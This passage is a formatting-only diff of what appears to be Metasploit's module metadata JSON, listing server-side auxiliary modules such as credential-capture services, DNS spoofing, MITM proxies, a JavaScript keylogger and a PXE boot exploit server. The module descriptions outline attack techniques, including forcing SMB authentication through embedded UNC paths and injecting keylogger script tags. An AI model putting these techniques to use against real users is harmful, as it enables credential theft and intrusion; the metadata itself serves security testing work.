"needs_cleanup": false, "actions": [ @@ -60867,9 +52565,7 @@ "auxiliary_server/browser_autopwn2": { "name": "HTTP Client Automatic Exploiter 2 (Browser Autopwn)", "fullname": "auxiliary/server/browser_autopwn2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-07-05", "type": "auxiliary", @@ -60883,12 +52579,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/server/browser_autopwn2.rb", @@ -60897,8 +52589,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -60911,9 +52602,7 @@ "auxiliary_server/capture/drda": { "name": "Authentication Capture: DRDA (DB2, Informix, Derby)", "fullname": "auxiliary/server/capture/drda", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60921,18 +52610,12 @@ "Patrik Karlsson " ], "description": "This module provides a fake DRDA (DB2, Informix, Derby) server\n that is designed to capture authentication credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/capture/drda.rb", @@ -60941,8 +52624,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -60955,9 +52637,7 @@ "auxiliary_server/capture/ftp": { "name": "Authentication Capture: FTP", "fullname": "auxiliary/server/capture/ftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60966,18 +52646,12 @@ "hdm " ], "description": "This module provides a fake FTP service that\n is designed to capture authentication credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/capture/ftp.rb", @@ -60986,8 +52660,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61000,9 +52673,7 @@ "auxiliary_server/capture/http": { "name": "Authentication Capture: HTTP", "fullname": "auxiliary/server/capture/http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61011,18 +52682,12 @@ "hdm " ], "description": "This module provides a fake HTTP service that\n is designed to capture authentication credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/capture/http.rb", @@ -61031,8 +52696,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61045,9 +52709,7 @@ "auxiliary_server/capture/http_basic": { "name": "HTTP Client Basic Authentication Credential Collector", "fullname": "auxiliary/server/capture/http_basic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61055,18 +52717,12 @@ "saint patrick " ], "description": "This module responds to all requests for resources with a HTTP 401. This should\n cause most browsers to prompt for a credential. If the user enters Basic Auth creds\n they are sent to the console.\n\n This may be helpful in some phishing expeditions where it is possible to embed a\n resource into a page.\n\n This attack is discussed in Chapter 3 of The Tangled Web by Michal Zalewski.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/capture/http_basic.rb", @@ -61075,8 +52731,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61089,9 +52744,7 @@ "auxiliary_server/capture/http_javascript_keylogger": { "name": "Capture: HTTP JavaScript Keylogger", "fullname": "auxiliary/server/capture/http_javascript_keylogger", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61100,18 +52753,12 @@ "hdm " ], "description": "This modules runs a web server that demonstrates keystroke\n logging through JavaScript. The DEMO option can be set to enable\n a page that demonstrates this technique. Future improvements will\n allow for a configurable template to be used with this module.\n To use this module with an existing web page, simply add a\n script source tag pointing to the URL of this service ending\n in the .js extension. For example, if URIPATH is set to \"test\",\n the following URL will load this script into the calling site:\n http://server:port/test/anything.js", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-04-20 16:34:51 +0000", "path": "/modules/auxiliary/server/capture/http_javascript_keylogger.rb", @@ -61120,20 +52767,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_server/capture/http_ntlm": { "name": "HTTP Client MS Credential Catcher", "fullname": "auxiliary/server/capture/http_ntlm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61141,18 +52783,12 @@ "Ryan Linn " ], "description": "This module attempts to quietly catch NTLM/LM Challenge hashes.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/server/capture/http_ntlm.rb", @@ -61161,8 +52797,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61175,9 +52810,7 @@ "auxiliary_server/capture/imap": { "name": "Authentication Capture: IMAP", "fullname": "auxiliary/server/capture/imap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61186,18 +52819,12 @@ "hdm " ], "description": "This module provides a fake IMAP service that\n is designed to capture authentication credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-07-29 12:58:55 +0000", "path": "/modules/auxiliary/server/capture/imap.rb", @@ -61206,8 +52833,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61220,9 +52846,7 @@ "auxiliary_server/capture/ldap": { "name": "Authentication Capture: LDAP", "fullname": "auxiliary/server/capture/ldap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61230,18 +52854,12 @@ "JustAnda7" ], "description": "This module mocks an LDAP service to capture authentication\n information of a client trying to authenticate against an LDAP service", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-23 12:13:24 +0000", "path": "/modules/auxiliary/server/capture/ldap.rb", @@ -61251,15 +52869,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, @@ -61273,9 +52885,7 @@ "auxiliary_server/capture/mssql": { "name": "Authentication Capture: MSSQL", "fullname": "auxiliary/server/capture/mssql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61283,18 +52893,12 @@ "Patrik Karlsson " ], "description": "This module provides a fake MSSQL service that\n is designed to capture authentication credentials. The modules\n supports both the weak encoded database logins as well as Windows\n logins (NTLM).", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/server/capture/mssql.rb", @@ -61303,8 +52907,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61317,9 +52920,7 @@ "auxiliary_server/capture/mysql": { "name": "Authentication Capture: MySQL", "fullname": "auxiliary/server/capture/mysql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61327,18 +52928,12 @@ "Patrik Karlsson " ], "description": "This module provides a fake MySQL service that is designed to\n capture authentication credentials. It captures\tchallenge and\n response pairs that can be supplied to Cain or JtR for cracking.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/capture/mysql.rb", @@ -61347,8 +52942,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61361,9 +52955,7 @@ "auxiliary_server/capture/pop3": { "name": "Authentication Capture: POP3", "fullname": "auxiliary/server/capture/pop3", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61372,18 +52964,12 @@ "hdm " ], "description": "This module provides a fake POP3 service that\n is designed to capture authentication credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/capture/pop3.rb", @@ -61392,8 +52978,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61406,9 +52991,7 @@ "auxiliary_server/capture/postgresql": { "name": "Authentication Capture: PostgreSQL", "fullname": "auxiliary/server/capture/postgresql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61416,18 +52999,12 @@ "Dhiru Kholia " ], "description": "This module provides a fake PostgreSQL service that is designed to\n capture clear-text authentication credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/capture/postgresql.rb", @@ -61436,8 +53013,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61450,9 +53026,7 @@ "auxiliary_server/capture/printjob_capture": { "name": "Printjob Capture Service", "fullname": "auxiliary/server/capture/printjob_capture", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61468,12 +53042,8 @@ "platform": "", "arch": "", "rport": 9100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/capture/printjob_capture.rb", @@ -61482,8 +53052,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61496,9 +53065,7 @@ "auxiliary_server/capture/sip": { "name": "Authentication Capture: SIP", "fullname": "auxiliary/server/capture/sip", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61506,18 +53073,12 @@ "Patrik Karlsson " ], "description": "This module provides a fake SIP service that is designed to\n capture authentication credentials. It captures\tchallenge and\n response pairs that can be supplied to Cain or JtR for cracking.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/capture/sip.rb", @@ -61526,8 +53087,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61540,9 +53100,7 @@ "auxiliary_server/capture/smb": { "name": "Authentication Capture: SMB", "fullname": "auxiliary/server/capture/smb", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61553,18 +53111,12 @@ "sjanusz-r7" ], "description": "This module provides a SMB service that can be used to capture the challenge-response\n password NTLMv1 & NTLMv2 hashes used with SMB1, SMB2, or SMB3 client systems.\n Responses sent by this service by default use a random 8 byte challenge string.\n A specific value (such as `1122334455667788`) can be set using the CHALLENGE option,\n allowing for easy cracking using Cain & Abel (NTLMv1) or John the Ripper\n (with jumbo patch).\n\n To exploit this, the target system must try to authenticate to this\n module. One way to force an SMB authentication attempt is by embedding\n a UNC path (\\\\SERVER\\SHARE) into a web page or email message. When\n the victim views the web page or email, their system will\n automatically connect to the server specified in the UNC share (the IP\n address of the system running this module) and attempt to\n authenticate. Another option is using auxiliary/spoof/{nbns,llmnr} to\n respond to queries for names the victim is already looking for.\n\n Documentation of the above spoofing methods can be found by running `info -d`.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-10-13 10:13:27 +0000", "path": "/modules/auxiliary/server/capture/smb.rb", @@ -61573,8 +53125,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61587,9 +53138,7 @@ "auxiliary_server/capture/smtp": { "name": "Authentication Capture: SMTP", "fullname": "auxiliary/server/capture/smtp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61607,12 +53156,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/server/capture/smtp.rb", @@ -61621,8 +53166,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61635,9 +53179,7 @@ "auxiliary_server/capture/telnet": { "name": "Authentication Capture: Telnet", "fullname": "auxiliary/server/capture/telnet", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61645,18 +53187,12 @@ "kris katterjohn " ], "description": "This module provides a fake Telnet service that\n is designed to capture authentication credentials. DONTs\n and WONTs are sent to the client for all option negotiations,\n except for ECHO at the time of the password prompt since\n the server controls that for a bit more realism.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/capture/telnet.rb", @@ -61665,8 +53201,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61679,9 +53214,7 @@ "auxiliary_server/capture/vnc": { "name": "Authentication Capture: VNC", "fullname": "auxiliary/server/capture/vnc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61689,18 +53222,12 @@ "Patrik Karlsson " ], "description": "This module provides a fake VNC service that\n is designed to capture authentication credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-04-12 13:09:34 +0000", "path": "/modules/auxiliary/server/capture/vnc.rb", @@ -61709,8 +53236,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61723,9 +53249,7 @@ "auxiliary_server/dhclient_bash_env": { "name": "DHCP Client Bash Environment Variable Code Injection (Shellshock)", "fullname": "auxiliary/server/dhclient_bash_env", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-09-24", "type": "auxiliary", @@ -61748,12 +53272,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-01-28 10:35:25 +0000", "path": "/modules/auxiliary/server/dhclient_bash_env.rb", @@ -61779,9 +53299,7 @@ "auxiliary_server/dhcp": { "name": "DHCP Server", "fullname": "auxiliary/server/dhcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61790,18 +53308,12 @@ "apconole " ], "description": "This module provides a DHCP service", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-01-28 10:35:25 +0000", "path": "/modules/auxiliary/server/dhcp.rb", @@ -61810,8 +53322,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61824,9 +53335,7 @@ "auxiliary_server/dns/native_server": { "name": "Native DNS Server (Example)", "fullname": "auxiliary/server/dns/native_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61834,9 +53343,7 @@ "RageLtMan " ], "description": "This module provides a Rex based DNS service which can store static entries,\n resolve names over pivots, and serve DNS requests across routed session comms.\n DNS tunnels can operate across the Rex switchboard, and DNS other modules\n can use this as a template. Setting static records via hostfile allows for DNS\n spoofing attacks without direct traffic manipulation at the handlers. handlers\n for requests and responses provided here mimic the internal Rex functionality,\n but utilize methods within this module's namespace to output content processed\n in the Proc contexts via vprint_status.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 53, @@ -61854,8 +53361,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61868,9 +53374,7 @@ "auxiliary_server/dns/spoofhelper": { "name": "DNS Spoofing Helper Service", "fullname": "auxiliary/server/dns/spoofhelper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61879,18 +53383,12 @@ "ddz " ], "description": "This module provides a DNS service that returns TXT\n records indicating information about the querying service.\n Based on Dino Dai Zovi DNS code from Karma.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/dns/spoofhelper.rb", @@ -61899,8 +53397,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61913,9 +53410,7 @@ "auxiliary_server/fakedns": { "name": "Fake DNS Service", "fullname": "auxiliary/server/fakedns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61925,18 +53420,12 @@ "fozavci" ], "description": "This module provides a DNS service that redirects\n all queries to a particular address.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/fakedns.rb", @@ -61945,8 +53434,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -61959,9 +53447,7 @@ "auxiliary_server/ftp": { "name": "FTP File Server", "fullname": "auxiliary/server/ftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -61969,18 +53455,12 @@ "hdm " ], "description": "This module provides a FTP service", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-08-08 01:40:15 +0000", "path": "/modules/auxiliary/server/ftp.rb", @@ -61989,8 +53469,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62003,9 +53482,7 @@ "auxiliary_server/http_ntlmrelay": { "name": "HTTP Client MS Credential Relayer", "fullname": "auxiliary/server/http_ntlmrelay", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62013,9 +53490,7 @@ "Rich Lundeen " ], "description": "This module relays negotiated NTLM Credentials from an HTTP server to multiple\n protocols. Currently, this module supports relaying to SMB and HTTP.\n\n Complicated custom attacks requiring multiple requests that depend on each\n other can be written using the SYNC* options. For example, a CSRF-style\n attack might first set an HTTP_GET request with a unique SNYNCID and set\n an HTTP_POST request with a SYNCFILE, which contains logic to look\n through the database and parse out important values, such as the CSRF token\n or authentication cookies, setting these as configuration options, and finally\n create a web page with iframe elements pointing at the HTTP_GET and HTTP_POSTs.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -62042,8 +53517,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62056,9 +53530,7 @@ "auxiliary_server/icmp_exfil": { "name": "ICMP Exfiltration Service", "fullname": "auxiliary/server/icmp_exfil", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62074,12 +53546,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/server/icmp_exfil.rb", @@ -62088,20 +53556,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_server/jsse_skiptls_mitm_proxy": { "name": "Java Secure Socket Extension (JSSE) SKIP-TLS MITM Proxy", "fullname": "auxiliary/server/jsse_skiptls_mitm_proxy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-01-20", "type": "auxiliary", @@ -62120,12 +53583,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-30 10:27:48 +0000", "path": "/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb", @@ -62134,8 +53593,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62148,9 +53606,7 @@ "auxiliary_server/ldap": { "name": "Native LDAP Server (Example)", "fullname": "auxiliary/server/ldap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62159,18 +53615,12 @@ "Spencer McIntyre" ], "description": "This module provides a Rex based LDAP service to expose the\n native Rex LDAP server functionality created during log4shell\n development.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-03-10 10:28:25 +0000", "path": "/modules/auxiliary/server/ldap.rb", @@ -62180,15 +53630,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, @@ -62202,9 +53646,7 @@ "auxiliary_server/local_hwbridge": { "name": "Hardware Bridge Server", "fullname": "auxiliary/server/local_hwbridge", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62212,18 +53654,12 @@ "Craig Smith" ], "description": "This module sets up a web server to bridge communications between\n Metasploit and physically attached hardware.\n Currently this module supports: automotive", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/server/local_hwbridge.rb", @@ -62232,8 +53668,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62246,9 +53681,7 @@ "auxiliary_server/ms15_134_mcl_leak": { "name": "MS15-134 Microsoft Windows Media Center MCL Information Disclosure", "fullname": "auxiliary/server/ms15_134_mcl_leak", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-12-08", "type": "auxiliary", @@ -62266,12 +53699,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/server/ms15_134_mcl_leak.rb", @@ -62280,20 +53709,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_server/netbios_spoof_nat": { "name": "NetBIOS Response \"BadTunnel\" Brute Force Spoof (NAT Tunnel)", "fullname": "auxiliary/server/netbios_spoof_nat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-06-14", "type": "auxiliary", @@ -62313,12 +53737,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/server/netbios_spoof_nat.rb", @@ -62327,8 +53747,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62341,9 +53760,7 @@ "auxiliary_server/openssl_altchainsforgery_mitm_proxy": { "name": "OpenSSL Alternative Chains Certificate Forgery MITM Proxy", "fullname": "auxiliary/server/openssl_altchainsforgery_mitm_proxy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-07-09", "type": "auxiliary", @@ -62361,12 +53778,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-02-19 20:35:33 +0000", "path": "/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb", @@ -62375,8 +53788,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62389,9 +53801,7 @@ "auxiliary_server/openssl_heartbeat_client_memory": { "name": "OpenSSL Heartbeat (Heartbleed) Client Memory Exposure", "fullname": "auxiliary/server/openssl_heartbeat_client_memory", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-07", "type": "auxiliary", @@ -62412,12 +53822,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/server/openssl_heartbeat_client_memory.rb", @@ -62443,9 +53849,7 @@ "auxiliary_server/pxeexploit": { "name": "PXE Boot Exploit Server", "fullname": "auxiliary/server/pxeexploit", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62453,18 +53857,12 @@ "scriptjunkie" ], "description": "This module provides a PXE server, running a DHCP and TFTP server.\n The default configuration loads a linux kernel and initrd into memory that\n reads the hard drive; placing a payload to install metsvc, disable the\n firewall, and add a new user metasploit on any Windows partition seen,\n and add a uid 0 user with username and password metasploit to any linux\n partition seen. The windows user will have the password p@SSw0rd!123456\n (in case of complexity requirements) and will be added to the administrators\n group.\n\n Note: the displayed IP address of a target is the address this DHCP server\n handed out, not the \"normal\" IP address the host uses.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-01-28 10:35:25 +0000", "path": "/modules/auxiliary/server/pxeexploit.rb", @@ -62473,8 +53871,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ 